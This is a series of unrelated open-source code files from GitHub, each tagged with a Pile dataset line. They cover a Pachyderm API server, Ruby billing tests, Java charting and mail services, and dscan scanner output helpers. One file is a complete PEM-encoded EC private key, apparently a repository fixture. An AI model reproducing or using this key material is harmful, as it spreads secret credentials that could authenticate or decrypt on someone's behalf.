request.Operation.(*pfs.FileOperationRequestV2_PutTar) putTarReq := op.PutTar if putTarReq.EOF { return 0, io.EOF } ptr.r = bytes.NewReader(putTarReq.Data) } n, err := ptr.r.Read(data) ptr.bytesRead += int64(n) return n, err } func deleteFiles(fs *fileset.UnorderedWriter, request *pfs.DeleteFilesRequestV2) error { for _, file := range request.Files { fs.Delete(file, request.Tag) } return nil } func (a *apiServerV2) GetTarV2(request *pfs.GetTarRequestV2, server pfs.API_GetTarV2Server) (retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) return metrics.ReportRequestWithThroughput(func() (int64, error) { commit := request.File.Commit glob := request.File.Path gtw := newGetTarWriter(grpcutil.NewStreamingBytesWriter(server)) err := a.driver.getTar(a.env.GetPachClient(server.Context()), commit, glob, gtw) return gtw.bytesWritten, err }) } type getTarWriter struct { w io.Writer bytesWritten int64 } func newGetTarWriter(w io.Writer) *getTarWriter { return &getTarWriter{w: w} } func (gtw *getTarWriter) Write(data []byte) (int, error) { n, err := gtw.w.Write(data) gtw.bytesWritten += int64(n) return n, err } // DiffFileV2 returns the files only in new or only in old func (a *apiServerV2) DiffFileV2(request *pfs.DiffFileRequest, server pfs.API_DiffFileV2Server) (retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) return a.driver.diffFileV2(a.env.GetPachClient(server.Context()), request.OldFile, request.NewFile, func(oldFi, newFi *pfs.FileInfo) error { return server.Send(&pfs.DiffFileResponseV2{ OldFile: oldFi, NewFile: newFi, }) }) } // ClearCommitV2 deletes all data in the commit. func (a *apiServerV2) ClearCommitV2(ctx context.Context, request *pfs.ClearCommitRequestV2) (_ *types.Empty, retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) return nil, a.driver.clearCommitV2(a.env.GetPachClient(ctx), request.Commit) }
{ "pile_set_name": "Github" }
require('../../modules/es6.string.fontcolor'); module.exports = require('../../modules/_core').String.fontcolor;
{ "pile_set_name": "Github" }
function test() { return typeof Int8Array.prototype.values === "function" && typeof Uint8Array.prototype.values === "function" && typeof Uint8ClampedArray.prototype.values === "function" && typeof Int16Array.prototype.values === "function" && typeof Uint16Array.prototype.values === "function" && typeof Int32Array.prototype.values === "function" && typeof Uint32Array.prototype.values === "function" && typeof Float32Array.prototype.values === "function" && typeof Float64Array.prototype.values === "function"; } if (!test()) throw new Error("Test failed");
{ "pile_set_name": "Github" }
require File.dirname(__FILE__) + '/../test_helper' class RecurringBillingTest < Test::Unit::TestCase fixtures :users, :subscriptions, :subscription_plans class Subscription < ::Subscription include Freemium::RecurringBilling end def test_run_billing Subscription.expects(:process_new_transactions).once Subscription.expects(:find_expirable).once.returns([]) Subscription.expects(:expire).once Subscription.run_billing end def test_run_billing_sends_report Subscription.stubs(:process_new_transactions) Freemium.stubs(:admin_report_recipients).returns("[email protected]") Freemium.mailer.expects(:deliver_admin_report) Subscription.run_billing end def test_subscriptions_to_expire # making a one-off fixture set, basically create_billable_subscription # this subscription qualifies create_billable_subscription(:subscription_plan => subscription_plans(:free)) # this subscription would qualify, except it's for the free plan create_billable_subscription(:paid_through => Date.today) # this subscription would qualify, except it's already paid create_billable_subscription(:expire_on => Date.today + 1) # this subscription would qualify, except it's already been set to expire expirable = Subscription.send(:find_expirable) assert expirable.all? {|subscription| subscription.subscription_plan.rate_cents > 0}, "free subscriptions don't expire" assert expirable.all? {|subscription| subscription.paid_through < Date.today}, "paid subscriptions don't expire" assert expirable.all? {|subscription| !subscription.expire_on or subscription.expire_on < subscription.paid_through}, "subscriptions already expiring aren't included" end def test_processing_new_transactions subscription = subscriptions(:bobs_subscription) paid_through = subscription.paid_through t = Freemium::Transaction.new(:billing_key => subscription.billing_key, :amount => subscription.subscription_plan.rate, :success => true) Subscription.stubs(:new_transactions).returns([t, t]) # the actual test Subscription.send :process_new_transactions assert_equal (paid_through >> 2).to_s, subscription.reload.paid_through.to_s, "extended by two months" end def test_processing_a_failed_transaction subscription = subscriptions(:bobs_subscription) paid_through = subscription.paid_through t = Freemium::Transaction.new(:billing_key => subscription.billing_key, :amount => subscription.subscription_plan.rate, :success => false) Subscription.stubs(:new_transactions).returns([t]) # the actual test assert_nil subscription.expire_on Subscription.send :process_new_transactions assert_equal paid_through, subscription.reload.paid_through, "not extended" assert_not_nil subscription.expire_on end def test_all_new_transactions last_transaction_at = Subscription.maximum(:last_transaction_at) method_args = Subscription.send(:new_transactions) assert_equal last_transaction_at, method_args[:after] end protected def create_billable_subscription(options = {}) Subscription.create({ :subscription_plan => subscription_plans(:premium), :subscribable => User.new(:name => 'a'), :paid_through => Date.today - 1 }.merge(options)) end end
{ "pile_set_name": "Github" }
//----------------------------------------------------------------------- // <copyright file="OpenIdRelyingPartyElement.cs" company="Outercurve Foundation"> // Copyright (c) Outercurve Foundation. All rights reserved. // </copyright> //----------------------------------------------------------------------- namespace DotNetOpenAuth.Configuration { using System; using System.Configuration; using DotNetOpenAuth.Messaging.Bindings; using DotNetOpenAuth.OpenId; using DotNetOpenAuth.OpenId.RelyingParty; /// <summary> /// The section in the .config file that allows customization of OpenID Relying Party behaviors. /// </summary> internal class OpenIdRelyingPartyElement : ConfigurationElement { /// <summary> /// The name of the custom store sub-element. /// </summary> private const string StoreConfigName = "store"; /// <summary> /// The name of the &lt;relyingParty&gt; sub-element. /// </summary> private const string RelyingPartyElementName = "relyingParty"; /// <summary> /// The name of the attribute that specifies whether dnoa.userSuppliedIdentifier is tacked onto the openid.return_to URL. /// </summary> private const string PreserveUserSuppliedIdentifierConfigName = "preserveUserSuppliedIdentifier"; /// <summary> /// Gets the name of the security sub-element. /// </summary> private const string SecuritySettingsConfigName = "security"; /// <summary> /// The name of the &lt;behaviors&gt; sub-element. /// </summary> private const string BehaviorsElementName = "behaviors"; /// <summary> /// The name of the &lt;discoveryServices&gt; sub-element. /// </summary> private const string DiscoveryServicesElementName = "discoveryServices"; /// <summary> /// The name of the &lt;hostMetaDiscovery&gt; sub-element. /// </summary> private const string HostMetaDiscoveryElementName = "hostMetaDiscovery"; /// <summary> /// The built-in set of identifier discovery services. /// </summary> private static readonly TypeConfigurationCollection<IIdentifierDiscoveryService> defaultDiscoveryServices = new TypeConfigurationCollection<IIdentifierDiscoveryService>(new Type[] { typeof(UriDiscoveryService), typeof(XriDiscoveryProxyService) }); /// <summary> /// Initializes a new instance of the <see cref="OpenIdRelyingPartyElement"/> class. /// </summary> public OpenIdRelyingPartyElement() { } /// <summary> /// Gets or sets a value indicating whether "dnoa.userSuppliedIdentifier" is tacked onto the openid.return_to URL in order to preserve what the user typed into the OpenID box. /// </summary> /// <value> /// The default value is <c>true</c>. /// </value> [ConfigurationProperty(PreserveUserSuppliedIdentifierConfigName, DefaultValue = true)] public bool PreserveUserSuppliedIdentifier { get { return (bool)this[PreserveUserSuppliedIdentifierConfigName]; } set { this[PreserveUserSuppliedIdentifierConfigName] = value; } } /// <summary> /// Gets or sets the security settings. /// </summary> [ConfigurationProperty(SecuritySettingsConfigName)] public OpenIdRelyingPartySecuritySettingsElement SecuritySettings { get { return (OpenIdRelyingPartySecuritySettingsElement)this[SecuritySettingsConfigName] ?? new OpenIdRelyingPartySecuritySettingsElement(); } set { this[SecuritySettingsConfigName] = value; } } /// <summary> /// Gets or sets the special behaviors to apply. /// </summary> [ConfigurationProperty(BehaviorsElementName, IsDefaultCollection = false)] [ConfigurationCollection(typeof(TypeConfigurationCollection<IRelyingPartyBehavior>))] public TypeConfigurationCollection<IRelyingPartyBehavior> Behaviors { get { return (TypeConfigurationCollection<IRelyingPartyBehavior>)this[BehaviorsElementName] ?? new TypeConfigurationCollection<IRelyingPartyBehavior>(); } set { this[BehaviorsElementName] = value; } } /// <summary> /// Gets or sets the type to use for storing application state. /// </summary> [ConfigurationProperty(StoreConfigName)] public TypeConfigurationElement<ICryptoKeyAndNonceStore> ApplicationStore { get { return (TypeConfigurationElement<ICryptoKeyAndNonceStore>)this[StoreConfigName] ?? new TypeConfigurationElement<ICryptoKeyAndNonceStore>(); } set { this[StoreConfigName] = value; } } /// <summary> /// Gets or sets the host meta discovery configuration element. /// </summary> [ConfigurationProperty(HostMetaDiscoveryElementName)] internal HostMetaDiscoveryElement HostMetaDiscovery { get { return (HostMetaDiscoveryElement)this[HostMetaDiscoveryElementName] ?? new HostMetaDiscoveryElement(); } set { this[HostMetaDiscoveryElementName] = value; } } /// <summary> /// Gets or sets the services to use for discovering service endpoints for identifiers. /// </summary> /// <remarks> /// If no discovery services are defined in the (web) application's .config file, /// the default set of discovery services built into the library are used. /// </remarks> [ConfigurationProperty(DiscoveryServicesElementName, IsDefaultCollection = false)] [ConfigurationCollection(typeof(TypeConfigurationCollection<IIdentifierDiscoveryService>))] internal TypeConfigurationCollection<IIdentifierDiscoveryService> DiscoveryServices { get { var configResult = (TypeConfigurationCollection<IIdentifierDiscoveryService>)this[DiscoveryServicesElementName]; return configResult != null && configResult.Count > 0 ? configResult : defaultDiscoveryServices; } set { this[DiscoveryServicesElementName] = value; } } } }
{ "pile_set_name": "Github" }
/* =========================================================== * JFreeChart : a free chart library for the Java(tm) platform * =========================================================== * * (C) Copyright 2000-2020, by Object Refinery Limited and Contributors. * * Project Info: http://www.jfree.org/jfreechart/index.html * * This library is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2.1 of the License, or * (at your option) any later version. * * This library is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public * License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, * USA. * * [Oracle and Java are registered trademarks of Oracle and/or its affiliates. * Other names may be trademarks of their respective owners.] * * -------------------- * PolarChartPanel.java * -------------------- * (C) Copyright 2004-2020, by Solution Engineering, Inc. and Contributors. * * Original Author: Daniel Bridenbecker, Solution Engineering, Inc.; * Contributor(s): David Gilbert (for Object Refinery Limited); * Martin Hoeller; * */ package org.jfree.chart; import java.awt.Component; import java.awt.event.ActionEvent; import javax.swing.JMenuItem; import javax.swing.JPopupMenu; import org.jfree.chart.plot.Plot; import org.jfree.chart.plot.PolarPlot; /** * {@code PolarChartPanel} is the top level object for using the * {@link PolarPlot}. Since this class has a {@code JPanel} in the * inheritance hierarchy, one uses this class to integrate the Polar plot into * their application. * <p> * The main modification to {@code ChartPanel} is the popup menu. It * removes {@code ChartPanel}'s versions of: * <ul> * <li>{@code Zoom In}</li> * <li>{@code Zoom Out}</li> * <li>{@code Auto Range}</li> * </ul> * and replaces them with versions more appropriate for {@link PolarPlot}. */ public class PolarChartPanel extends ChartPanel { // ----------------- // --- Constants --- // ----------------- /** Zoom in command string. */ private static final String POLAR_ZOOM_IN_ACTION_COMMAND = "Polar Zoom In"; /** Zoom out command string. */ private static final String POLAR_ZOOM_OUT_ACTION_COMMAND = "Polar Zoom Out"; /** Auto range command string. */ private static final String POLAR_AUTO_RANGE_ACTION_COMMAND = "Polar Auto Range"; // ------------------------ // --- Member Variables --- // ------------------------ // -------------------- // --- Constructors --- // -------------------- /** * Constructs a JFreeChart panel. * * @param chart the chart. */ public PolarChartPanel(JFreeChart chart) { this(chart, true); } /** * Creates a new panel. * * @param chart the chart. * @param useBuffer buffered? */ public PolarChartPanel(JFreeChart chart, boolean useBuffer) { super(chart, useBuffer); checkChart(chart); setMinimumDrawWidth(200); setMinimumDrawHeight(200); setMaximumDrawWidth(2000); setMaximumDrawHeight(2000); } // -------------------------- // --- ChartPanel Methods --- // -------------------------- /** * Sets the chart that is displayed in the panel. * * @param chart The chart. */ @Override public void setChart(JFreeChart chart) { checkChart(chart); super.setChart(chart); } /** * Creates a popup menu for the panel. * * @param properties include a menu item for the chart property editor. * @param save include a menu item for saving the chart. * @param print include a menu item for printing the chart. * @param zoom include menu items for zooming. * * @return The popup menu. */ @Override protected JPopupMenu createPopupMenu(boolean properties, boolean save, boolean print, boolean zoom) { JPopupMenu result = super.createPopupMenu(properties, save, print, zoom); int zoomInIndex = getPopupMenuItem(result, localizationResources.getString("Zoom_In")); int zoomOutIndex = getPopupMenuItem(result, localizationResources.getString("Zoom_Out")); int autoIndex = getPopupMenuItem(result, localizationResources.getString("Auto_Range")); if (zoom) { JMenuItem zoomIn = new JMenuItem( localizationResources.getString("Zoom_In")); zoomIn.setActionCommand(POLAR_ZOOM_IN_ACTION_COMMAND); zoomIn.addActionListener(this); JMenuItem zoomOut = new JMenuItem( localizationResources.getString("Zoom_Out")); zoomOut.setActionCommand(POLAR_ZOOM_OUT_ACTION_COMMAND); zoomOut.addActionListener(this); JMenuItem auto = new JMenuItem( localizationResources.getString("Auto_Range")); auto.setActionCommand(POLAR_AUTO_RANGE_ACTION_COMMAND); auto.addActionListener(this); if (zoomInIndex != -1) { result.remove(zoomInIndex); } else { zoomInIndex = result.getComponentCount() - 1; } result.add(zoomIn, zoomInIndex); if (zoomOutIndex != -1) { result.remove(zoomOutIndex); } else { zoomOutIndex = zoomInIndex + 1; } result.add(zoomOut, zoomOutIndex); if (autoIndex != -1) { result.remove(autoIndex); } else { autoIndex = zoomOutIndex + 1; } result.add(auto, autoIndex); } return result; } /** * Handles action events generated by the popup menu. * * @param event the event. */ @Override public void actionPerformed(ActionEvent event) { String command = event.getActionCommand(); if (command.equals(POLAR_ZOOM_IN_ACTION_COMMAND)) { PolarPlot plot = (PolarPlot) getChart().getPlot(); plot.zoom(0.5); } else if (command.equals(POLAR_ZOOM_OUT_ACTION_COMMAND)) { PolarPlot plot = (PolarPlot) getChart().getPlot(); plot.zoom(2.0); } else if (command.equals(POLAR_AUTO_RANGE_ACTION_COMMAND)) { PolarPlot plot = (PolarPlot) getChart().getPlot(); plot.getAxis().setAutoRange(true); } else { super.actionPerformed(event); } } // ---------------------- // --- Public Methods --- // ---------------------- // ----------------------- // --- Private Methods --- // ----------------------- /** * Test that the chart is using an xy plot with time as the domain axis. * * @param chart the chart. */ private void checkChart(JFreeChart chart) { Plot plot = chart.getPlot(); if (!(plot instanceof PolarPlot)) { throw new IllegalArgumentException("plot is not a PolarPlot"); } } /** * Returns the index of an item in a popup menu. * * @param menu the menu. * @param text the label. * * @return The item index. */ private int getPopupMenuItem(JPopupMenu menu, String text) { int index = -1; for (int i = 0; (index == -1) && (i < menu.getComponentCount()); i++) { Component comp = menu.getComponent(i); if (comp instanceof JMenuItem) { JMenuItem item = (JMenuItem) comp; if (text.equals(item.getText())) { index = i; } } } return index; } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- Copyright (C) 2020 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <resources xmlns:android="http://schemas.android.com/apk/res/android" xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2"> <string name="tethered_notification_title" msgid="6426563586025792944">"Aktywny tethering lub punkt dostępu"</string> <string name="tethered_notification_message" msgid="64800879503420696">"Kliknij, by skonfigurować"</string> <string name="disable_tether_notification_title" msgid="3004509127903564191">"Tethering został wyłączony"</string> <string name="disable_tether_notification_message" msgid="6717523799293901476">"Aby uzyskać szczegółowe informacje, skontaktuj się z administratorem"</string> <string name="notification_channel_tethering_status" msgid="2663463891530932727">"Hotspot i tethering – stan"</string> <string name="no_upstream_notification_title" msgid="1204601824631788482"></string> <string name="no_upstream_notification_message" msgid="8586582938243032621"></string> <string name="no_upstream_notification_disable_button" msgid="8800919436924640822"></string> <string name="upstream_roaming_notification_title" msgid="4772373823198997030"></string> <string name="upstream_roaming_notification_message" msgid="3985577843181551650"></string> </resources>
{ "pile_set_name": "Github" }
% File src/library/stats4/man/show-methods.Rd % Part of the R package, https://www.R-project.org % Copyright 1995-2007 R Core Team % Distributed under GPL 2 or later \name{show-methods} \docType{methods} \alias{show-methods} \alias{show,mle-method} \alias{show,summary.mle-method} \title{Methods for Function \code{show} in Package \pkg{stats4}} \description{Show objects of classes \code{mle} and \code{summary.mle}} \section{Methods}{ \describe{ \item{\code{signature(object = "mle")}}{Print simple summary of \code{mle} object. Just the coefficients and the call.} \item{\code{signature(object = "summary.mle")}}{Shows call, table of coefficients and standard errors, and \eqn{-2 \log L}{-2 log L}.} } } \keyword{methods}
{ "pile_set_name": "Github" }
-----BEGIN EC PRIVATE KEY----- MHcCAQEEIJBozVe9EJv6DB7M2AGSu+ZDu2LqAxlPPTb/5+KPsw2CoAoGCCqGSM49 AwEHoUQDQgAE/QL3hoUhq1GRKMImbgVL/UcuxRBry8FJHd8ECqQw+yyGSy2kHDjn HCwU/Tp8ydVQ/tF0aOyW21YKk2a+4ZqHnw== -----END EC PRIVATE KEY-----
{ "pile_set_name": "Github" }
/* * Licensed by the authors under the Creative Commons * Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) * License: * * http://creativecommons.org/licenses/by-sa/2.0/ * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.cedj.geekseek.service.smtp; import javax.annotation.Resource; import javax.ejb.LocalBean; import javax.ejb.Singleton; import javax.ejb.TransactionAttribute; import javax.ejb.TransactionAttributeType; import javax.jms.Connection; import javax.jms.ConnectionFactory; import javax.jms.JMSException; import javax.jms.MessageProducer; import javax.jms.ObjectMessage; import javax.jms.Queue; import javax.mail.Address; import javax.mail.Message; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; /** * Sends outgoing mail messages to the {@link Session} bound in JNDI at * {@link SMTPMailServiceConstants#JNDI_BIND_NAME_MAIL_SESSION}. * * Supports existing transactions if one if in play, but does not require nor * create any if none is in flight. * * @author ALR */ @Singleton @LocalBean @TransactionAttribute(value = TransactionAttributeType.SUPPORTS) public class SMTPMailService { @Resource(lookup = SMTPMailServiceConstants.JNDI_BIND_NAME_MAIL_SESSION) private Session mailSession; @Resource(lookup = "java:/ConnectionFactory") private ConnectionFactory connectionFactory; @Resource(lookup = SMTPMailServiceConstants.JNDI_BIND_NAME_SMTP_QUEUE) private Queue smtpQueue; /** * Sends the message denoted by the required, specified value * object {@link MailMessageBuilder.MailMessage} * * @param mailMessage * @throws IllegalArgumentException If the message was not specified */ public void sendMail(final MailMessageBuilder.MailMessage mailMessage) throws IllegalArgumentException { // Precondition check if (mailMessage == null) { throw new IllegalArgumentException("Mail message must be specified"); } try { // Translate final MimeMessage mime = new MimeMessage(mailSession); final Address from = new InternetAddress(mailMessage.from); final int numToAddresses = mailMessage.to.length; final Address[] to = new InternetAddress[numToAddresses]; for (int i = 0; i < numToAddresses; i++) { to[i] = new InternetAddress(mailMessage.to[i]); } mime.setFrom(from); mime.setRecipients(Message.RecipientType.TO, to); mime.setSubject(mailMessage.subject); mime.setContent(mailMessage.body, mailMessage.contentType); Transport.send(mime); } // Puke on error catch (final javax.mail.MessagingException e) { throw new RuntimeException("Error in sending " + mailMessage, e); } } /** * Queues the message denoted by the required, specified value * object {@link MailMessageBuilder.MailMessage} for sending (will * be processed by the queue without further action from the caller) * * @param mailMessage * @throws IllegalArgumentException If the message was not specified */ public void queueMailForDelivery(final MailMessageBuilder.MailMessage mailMessage) throws IllegalArgumentException { // Precondition check if (mailMessage == null) { throw new IllegalArgumentException("Mail message must be specified"); } Connection connection = null; try { connection = connectionFactory.createConnection(); final javax.jms.Session session = connection.createSession(false, javax.jms.Session.AUTO_ACKNOWLEDGE); final MessageProducer producer = session.createProducer(smtpQueue); final ObjectMessage jmsMessage = session.createObjectMessage(mailMessage); producer.send(jmsMessage); } catch (final JMSException jmse) { throw new RuntimeException("Could not deliver mail message to the outgoing queue", jmse); } finally { close(connection); } } private void close(final Connection connection) { try { if(connection != null) { connection.close(); } } catch(final Exception e) { throw new RuntimeException(e); } } }
{ "pile_set_name": "Github" }
from __future__ import print_function from dscan.common.functions import template, strip_whitespace, \ result_anything_found from dscan.common.enum import colors import argparse import hashlib import json import sys import time class SmartFormatter(argparse.RawDescriptionHelpFormatter): def _split_lines(self, text, width): # this is the RawTextHelpFormatter._split_lines if text.startswith('R|'): return text[2:].splitlines() return argparse.HelpFormatter._split_lines(self, text, width) class ProgressBar(): progress = 0 def __init__(self, stream, items_total, name): self.stream = stream self.items_total = items_total self.name = name def set(self, items_processed, items_total, barLen = 50): items_processed = int(items_processed) items_total = int(items_total) percent = (items_processed * 100) / items_total self.stream.write("\r") real_percent = percent / 2 progress = "" for i in range(barLen): if i < real_percent: progress += "=" else: progress += " " self.stream.write("%s [ %s ] %d/%d (%d%%)" % (self.name, progress, items_processed, items_total, percent)) self.stream.flush() def increment_progress(self): self.progress += 1 self.set(self.progress, self.items_total) def hide(self): self.stream.write("\r") self.stream.write(" " * 80) self.stream.write("\r") class StandardOutput(): errors_display = True error_log = None log_to_file = False debug_output = False def __init__(self, error_log='-'): self.log_to_file = error_log != '-' if not self.log_to_file: self.error_log = sys.stderr else: self.errors_display = True self.error_log = open(error_log, 'a') def close(self): if self.log_to_file: self.error_log.close() def echo(self, msg): """ For miscelaneous messages. E.g. "Initializing scanning". """ self.print(msg) def debug(self, msg): if self.debug_output: self.print(msg) def result(self, result, functionality): """ For the final result of the scan. @param result: as returned by BasePluginInternal.url_scan @param functionality: functionality as returned by BasePluginInternal._general_init """ for enumerate in result: # The host is a special header, we must not attempt to display it. if enumerate == "host" or enumerate == "cms_name": continue result_ind = result[enumerate] finds = result_ind['finds'] is_empty = result_ind['is_empty'] template_str = functionality[enumerate]['template'] template_params = { 'noun': enumerate, 'Noun': enumerate.capitalize(), 'items': finds, 'empty': is_empty, } self.echo(template(template_str, template_params)) def warn(self, msg, whitespace_strp=True): """ For things that have gone seriously wrong but don't merit a program halt. Outputs to stderr, so JsonOutput does not need to override. @param msg: warning to output. @param whitespace_strp: whether to strip whitespace. """ if self.errors_display: if whitespace_strp: msg = strip_whitespace(msg) if not self.log_to_file: msg = colors['warn'] + "[+] " + msg + colors['endc'] else: msg = "[" + time.strftime("%c") + "] " + msg self.print(msg, file=self.error_log) def fatal(self, msg): """ For errors so grave that the program (or thread) cannot continue. """ if not self.log_to_file: msg = strip_whitespace(colors['red'] + "[+] " + msg + colors['endc']) else: msg = "[" + time.strftime("%c") + "] " + msg raise RuntimeError(msg) def print(self, msg, *args, **kwargs): print(msg, *args, **kwargs) class JsonOutput(StandardOutput): errors_display = False def echo(self, msg): pass def result(self, result, functionality=None): if result_anything_found(result): self.print(json.dumps(result)) class RequestsLogger(): _session = None def __init__(self, session): """ @param session: a requests.Session instance. """ self._session = session def _print(self, method, *args, **kwargs): """ Output format affects integration tests. @see: IntegrationTests.mock_output """ sess_method = getattr(self._session, method) try: headers = kwargs['headers'] except KeyError: headers = {} tpl = '[%s] %s %s' print(tpl % (method, args[0], headers), end=' ') try: r = sess_method(*args, **kwargs) except: e = sys.exc_info() e_str = "%s: %s" % (e[0], e[1]) print("FAILED (%s)" % e_str) raise if method == "get" and r.status_code == 200: hsh = hashlib.md5(r.content).hexdigest() else: hsh = "" print(r.status_code, hsh) return r def head(self, *args, **kwargs): return self._print('head', *args, **kwargs) def get(self, *args, **kwargs): return self._print('get', *args, **kwargs) def post(self, *args, **kwargs): return self._print('post', *args, **kwargs) class Output(): themes = None interesting_urls = None version = None plugins = None host = None
{ "pile_set_name": "Github" }
commandlinefu_id: 8383 translator: weibo: tgic command: |- rename 's/\d+/sprintf("%04d",$&)/e' *.jpg summary: |- 带有0填充的重命名
{ "pile_set_name": "Github" }
Microsoft Visual Studio Solution File, Format Version 10.00 # Visual Studio 2008 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MDrive", "mdrive\mdrive.vcproj", "{013DCD93-BA0C-4B58-B917-C963C4405678}" ProjectSection(ProjectDependencies) = postProject {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27} = {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27} EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Drive", "drive\drive.vcproj", "{4C020136-2C9C-4EA8-8FDA-FA7F325924AB}" ProjectSection(ProjectDependencies) = postProject {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27} = {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27} EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Connect", "connect.vcproj", "{ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Itanium = Debug|Itanium Debug|Win32 = Debug|Win32 Debug|x64 = Debug|x64 Release|Itanium = Release|Itanium Release|Win32 = Release|Win32 Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {013DCD93-BA0C-4B58-B917-C963C4405678}.Debug|Itanium.ActiveCfg = Debug|Itanium {013DCD93-BA0C-4B58-B917-C963C4405678}.Debug|Itanium.Build.0 = Debug|Itanium {013DCD93-BA0C-4B58-B917-C963C4405678}.Debug|Win32.ActiveCfg = Debug|Win32 {013DCD93-BA0C-4B58-B917-C963C4405678}.Debug|Win32.Build.0 = Debug|Win32 {013DCD93-BA0C-4B58-B917-C963C4405678}.Debug|x64.ActiveCfg = Debug|x64 {013DCD93-BA0C-4B58-B917-C963C4405678}.Debug|x64.Build.0 = Debug|x64 {013DCD93-BA0C-4B58-B917-C963C4405678}.Release|Itanium.ActiveCfg = Release|Itanium {013DCD93-BA0C-4B58-B917-C963C4405678}.Release|Itanium.Build.0 = Release|Itanium {013DCD93-BA0C-4B58-B917-C963C4405678}.Release|Win32.ActiveCfg = Release|Win32 {013DCD93-BA0C-4B58-B917-C963C4405678}.Release|Win32.Build.0 = Release|Win32 {013DCD93-BA0C-4B58-B917-C963C4405678}.Release|x64.ActiveCfg = Release|x64 {013DCD93-BA0C-4B58-B917-C963C4405678}.Release|x64.Build.0 = Release|x64 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Debug|Itanium.ActiveCfg = Debug|Itanium {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Debug|Itanium.Build.0 = Debug|Itanium {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Debug|Win32.ActiveCfg = Debug|Win32 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Debug|Win32.Build.0 = Debug|Win32 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Debug|x64.ActiveCfg = Debug|x64 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Debug|x64.Build.0 = Debug|x64 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Release|Itanium.ActiveCfg = Release|Itanium {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Release|Itanium.Build.0 = Release|Itanium {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Release|Win32.ActiveCfg = Release|Win32 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Release|Win32.Build.0 = Release|Win32 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Release|x64.ActiveCfg = Release|x64 {4C020136-2C9C-4EA8-8FDA-FA7F325924AB}.Release|x64.Build.0 = Release|x64 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Debug|Itanium.ActiveCfg = Debug|Itanium {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Debug|Itanium.Build.0 = Debug|Itanium {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Debug|Win32.ActiveCfg = Debug|Win32 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Debug|Win32.Build.0 = Debug|Win32 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Debug|x64.ActiveCfg = Debug|x64 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Debug|x64.Build.0 = Debug|x64 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Release|Itanium.ActiveCfg = Release|Itanium {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Release|Itanium.Build.0 = Release|Itanium {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Release|Win32.ActiveCfg = Release|Win32 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Release|Win32.Build.0 = Release|Win32 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Release|x64.ActiveCfg = Release|x64 {ECD7CDA5-9C03-403D-A6B3-3622FA40FB27}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal
{ "pile_set_name": "Github" }
load("@build_bazel_rules_nodejs//:index.bzl", "copy_to_bin") copy_to_bin( name = "bar", srcs = [ "main.js", "package.json", ], visibility = ["//internal/linker/test/workspace_link:__pkg__"], )
{ "pile_set_name": "Github" }
